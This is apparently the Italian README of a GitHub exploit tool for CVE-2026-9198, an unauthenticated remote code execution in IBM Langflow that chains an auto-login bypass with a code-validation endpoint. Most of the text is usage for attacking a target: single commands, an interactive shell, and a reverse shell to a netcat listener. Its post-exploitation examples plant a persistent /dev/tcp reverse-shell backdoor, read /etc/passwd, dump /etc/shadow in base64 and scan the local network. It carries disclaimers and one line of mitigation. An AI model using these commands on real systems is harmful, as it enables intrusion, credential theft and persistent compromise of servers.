
IBM Langflow RCE non autenticata tramite bypass del login automatico
CVE-2026-9198 è una vulnerabilità critica di Remote Code Execution (RCE) non autenticata in IBM Langflow OSS. Questo exploit combina due vulnerabilità:
/api/v1/validate/code che consente l'esecuzione arbitraria di codice Python⚠️ AVVERTENZA: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi didattici. L'uso non autorizzato è illegale.
pipgit clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
Oppure installa tutte le dipendenze in una volta:
pip install -r requirements.txt
python CVE-2026-9198.py --help
Dovresti vedere il menu di aiuto con tutte le opzioni disponibili.
Esegue un singolo comando sul target:
python CVE-2026-9198.py -t <target_ip> -c "id"
Esempio:
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
Avvia una shell interattiva con prompt dinamici:
python CVE-2026-9198.py -t <target_ip> --shell
Caratteristiche:
user@host e la directory correntecd con aggiornamento automatico del promptEsempio di sessione:
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
Invia un payload reverse shell a un listener:
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
Esempio:
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
Se Langflow è in esecuzione su una porta non predefinita:
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
Esempio:
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
Salta il processo di login automatico e utilizza un token esistente:
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
Regola il timeout HTTP per reti più lente:
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
| Argomento | Descrizione | Obbligatorio | Predefinito |
|---|---|---|---|
-t, --target | Host/IP di destinazione o URL completo | ✅ Sì | - |
-p, --port | Porta di Langflow | ❌ No | 7860 |
-c, --cmd | Esegue un singolo comando | ❌ No | "id" |
--shell | Modalità pseudo-shell interattiva | ❌ No | False |
--lhost | IP del listener della reverse shell | ❌ No | - |
--lport | Porta del listener della reverse shell | ❌ No | 4444 |
-k, --token | Utilizza il token bearer fornito | ❌ No | - |
--timeout | Timeout HTTP in secondi | ❌ No | 20 |
--no-banner | Nasconde il banner | ❌ No | False |
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
Per proteggersi da questa vulnerabilità:
/api/v1/auto_login e /api/v1/validate/codeQuesto strumento è fornito esclusivamente a scopo didattico e per test di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili del rispetto delle leggi e dei regolamenti applicabili.
Questo progetto è distribuito con licenza MIT - consulta il file LICENSE per i dettagli.
0xgh057r3c0n
I contributi sono benvenuti! Sentiti libero di inviare una Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Se trovi utile questo strumento, considera di lasciare una ⭐ su GitHub!